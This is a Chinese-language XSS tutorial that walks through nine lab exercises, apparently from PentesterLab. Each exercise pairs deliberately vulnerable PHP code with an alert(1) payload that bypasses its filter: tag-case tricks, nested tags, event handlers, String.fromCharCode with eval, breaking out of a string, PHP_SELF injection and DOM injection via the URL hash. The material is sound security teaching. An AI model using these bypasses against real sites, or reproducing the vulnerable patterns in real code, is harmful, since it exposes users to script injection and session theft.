web渗透测试(7):跨站点脚本(XSS)

跨站点脚本源于信息发送给应用程序用户时缺乏编码。这可以用来注入任意的HTML和JavaScript; 结果是该有效载荷在合法用户的网络浏览器中运行。与其他攻击相反,XSS漏洞针对应用程序的用户,而不是直接针对服务器。

一些漏洞利用的例子包括:

  • 注入假登录表单;
  • 检索合法用户的Cookie;
  • 注入浏览器的漏洞;
  • 让用户在Web应用程序中执行任意操作;

在本节中,我们将只关注跨站脚本的检测。您将不得不等待关于此主题的全面练习,以获取有关如何利用这些漏洞的更多详细信息。

XSS漏洞最简单也是最常见的证据就是弹出一个警告框。这个有效载荷有很多优点:

  • 它表明可以触发JavaScript;
  • 这很简单;
  • 它是无害的。

要触发弹出窗口,您只需使用以下有效负载:alert(‘hello’)。

如果你在注入HTML代码,你需要告诉浏览器这是JavaScript代码。你可以使用<script>标签来做到这一点:

<script>alert('hello');</script>

在测试XSS时,需要记住两件重要的事情:

  1. 您从服务器获得的响应可能不是唯一的信息将被回显的地方。如果您注入了有效负载内容并且您在页面A中正确编码了它,这并不意味着此信息将在页面B中正确编码。
  2. 如果您发现编码存在问题,但无法运行您的XSS有效负载,则其他人可能能够运行。报告编码问题总是很重要的,即使某些保护措施阻止了您执行您的有效负载。安全是一个不断发展的领域,每周都会发布新的技巧。即使您现在不能利用XSS漏洞,您或其他人也许可以在稍后获得另一个有效负载。

XSS有三种类型:

  1. 反映:有效载荷直接回应。
  2. 存储:有效负载可以直接在响应中回显,但更重要的是,当您返回此页面或其他页面时,会在响应中回显。有效载荷存储在应用程序的后端。
  3. 基于DOM的:有效载荷不在页面中回显。它在浏览器呈现页面时动态执行。

在测试XSS时,您需要阅读发回的HTML页面的来源,您不能只是等待弹出警报框。检查哪些字符被编码,哪些字符不被编码。从这个角度来看,你可能会发现一个有效载荷。

一些浏览器提供了针对XSS的内置保护。这种保护可以由服务器启用或禁用(它在ISO中已被禁用)。如果您发现您的有效载荷直接在页面中回显,但没有警报框弹出,可能是因为这种保护。您也可以通过告诉浏览器将其禁用来禁用此保护。例如,在Chrome中,可以通过使用该选项运行Chrome来完成此操作–disable-xss-auditor。

Example 1

第一个易受攻击的例子就是让你开始了解当你找到XSS时发生的事情。使用基本的有效载荷,你应该能够得到一个警告框。

 文件代码:

<?php require_once '../header.php'; ?>
<html>
Hello 
<?php 
    echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>

一旦你发送你的有效载荷,你应该得到像这样的东西:

确保您检查HTML页面的源代码,以确定您作为请求的一部分发送的信息在没有任何HTML编码的情况下回显。

Example 2

<?php require_once '../header.php'; ?>
Hello 
<?php
     
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/","", $name);
    $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

在第二个例子中,涉及一些过滤。Web开发人员添加了一些正则表达式,以防止简单的XSS有效负载工作。

如果你玩,你可以看到<script>和</script>被过滤。绕过这些类型的过滤器的最基本的方法之一是大  胆测试:如果你尝试<sCript>,</sCRIpt,例如,你应该能够得到警报框。

Example 3

<?php require_once '../header.php'; ?>
Hello 
<?php
     
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

<?php require_once '../footer.php'; ?>

您向开发人员通知了您的绕开方法。他添加了更多过滤功能,现在似乎可以防止您之前的有效负载。然而,他在他的代码中犯了一个可怕的错误(前面的代码也出现了这个错误)……

如果你继续玩耍,你会意识到如果你使用Pentest<script>erLab有效载荷,则显示为:PentesterLab。

我们可以这样来实现xss攻击:

http://192.168..12/xss/example3.php?name=<Sc<script>ript>alert(1)<%2fSc</script>ript>

他会把<script>和</script>过滤掉,所以从当中插入,另外”/”需要转成 %2f 编码一下

Example 4

<?php require_once '../header.php'; 

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>    

在此示例中,开发人员决定将单词script完全列入黑名单:如果请求匹配script,则执行停止。

幸运的是(或者不幸的是取决于你在哪一方面),有很多方法可以运行JavaScript(非详尽列表):

  • 与<a标签和下列事件:onmouseover(你需要通过你的鼠标移动到链接)onmouseout,onmousemove,onclick…
  • 与<a直接在网址标签:<a href=’javascript:alert(1)’…(你需要点击触发JavaScript代码,并记住,这是行不通的,因为你不能使用链接script在这个例子中)。
  • 与<img标签直接与事件onerror:<img src=’zzzz’ onerror=’alert(1)’ />。
  • 与<div标签和下列事件:onmouseover(你需要通过你的鼠标移动到链接)onmouseout,onmousemove,onclick…

您可以使用这些技术中的任何一种来使警报框弹出。例如,可以这样来XSS攻击:

name=<img%20src="image.gif"%20onerror="alert(1)"%20/>

从而避开了script。

小总结:如果怎样的<script>都不管用了,制造一堆事件,onmouseout, onmousemove….

<a href=’javascript:alert(1)’
<img src=’zzzz’ onerror=’alert(1)’ />.
 

Example 5

<?php require_once '../header.php'; 

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>    

在这个例子中,<script>标签被接受并被回显。但是,只要尝试将alert注入,PHP脚本就会停止执行。这个问题似乎来自对这个词alert的过滤。

使用JavaScript的eval和String.fromCharCode(),你应该能够得到一个警告框,而不是直接使用alert这个词。String.fromCharCode()会将整数(十进制值)解码为相应的字符。

您可以编写一个小工具,使用您最喜欢的脚本语言将您的有效负载转换为此格式。

使用这个技巧和ascii表,你可以很容易地生成字符串:alert(1)并在其上调用eval。

name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>

另一个更简单的绕过是使用函数prompt或confirm在Javascript中。他们不太知道,但会给你同样的结果。

小总结:alter被过滤,用 eval 和 String.fromCharCode(),把ascii数字转成字符再执行,可以获得alert(1),prompt 和 confirm也是弹窗。

Example 6

<?php require_once '../header.php'; ?>
Hello 
<script>
    var $a= "<?php  echo $_GET["name"]; ?>";
</script>
    <?php require_once '../footer.php'; ?>

这里,HTML页面的源代码有点不同。如果您阅读它,您将看到您发送的值在JavaScript代码中回显。要获取警报框,您不需要注入脚本标记,只需要正确完成预先存在的JavaScript代码并添加自己的有效负载,然后您需要在注入点之后删除代码。注释掉(使用//)或添加一些虚拟代码(var $dummy = “)以正确关闭它。

name=";alert(1);/
name=";alert(1);var $dummy = "

 注意:%20是指ASCII码中“空格”的十六进制。

 小总结:如果?name=的值是写入<script></script>里面的,比如var s=””,那就在?name=“;alert(1);”,直接把东西写到双引号,注意每句结尾的分号。

Example 7

<?php require_once '../header.php'; ?>
Hello 
<script>
    var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>
    
<?php require_once '../footer.php'; ?>

这个例子与之前的例子类似。这一次,您将无法使用特殊字符,因为它们将以HTML编码。如你所见,你并不需要任何这些角色。

这个问题在PHP Web应用程序中很常见,因为用于HTML编码字符(htmlentities)的众所周知的函数不编码单引号(’),除非您使用该ENT_QUOTES标志告诉它这样做。

name=%27;alert(1);$b=%27




注意:%27是指ASCII码中“单引号”的十六进制。

小总结:php会把输出的内容html编码,但是htmlentities函数一般情况单引号’不在内。

Example 8

<?php 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php 
   
  require_once '../footer.php'; 

?>

这里,页面中回显的值被正确编码。但是,该页面仍然存在XSS漏洞。为了构建表单,开发人员使用并信任PHP_SELF哪个是用户提供的路径。可以操作应用程序的路径以便:

  • 调用当前页面(但是你会得到一个HTTP 404页面);
  • 在页面中获取XSS有效载荷。

可以这样做,因为服务器的当前配置将/xss/example8.php在/xss/example8.php/…访问任何URL匹配时调用。您只需访问即可在页面中获取有效负载/xss/example8.php/[XSS_PAYLOAD]。现在您知道在何处注入您的有效载荷,您需要调整它以使其工作并获得着名的警报框。

/"><script>alert(1)</script>
 就好了。

Example 9

<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

这个例子是一个基于DOM的XSS。这个页面实际上可能是完全静态的,仍然容易受到攻击。

在这个例子中,您需要阅读页面的代码才能理解正在发生的事情。呈现页面时,JavaScript代码使用当前URL来检索URL(#…)的锚点部分,并动态地(在客户端)将其写入页面内。如果您使用有效负载作为URL的一部分,则可以用它来触发XSS漏洞。

小总结:面对静态文件,不要慌,看看里面的js怎么写的?js对url进行操作,写进html里,那就改url,把<script>嵌进里面</script>。

微信公众号
手机浏览(小程序)
0
分享到:
没有账号? 忘记密码?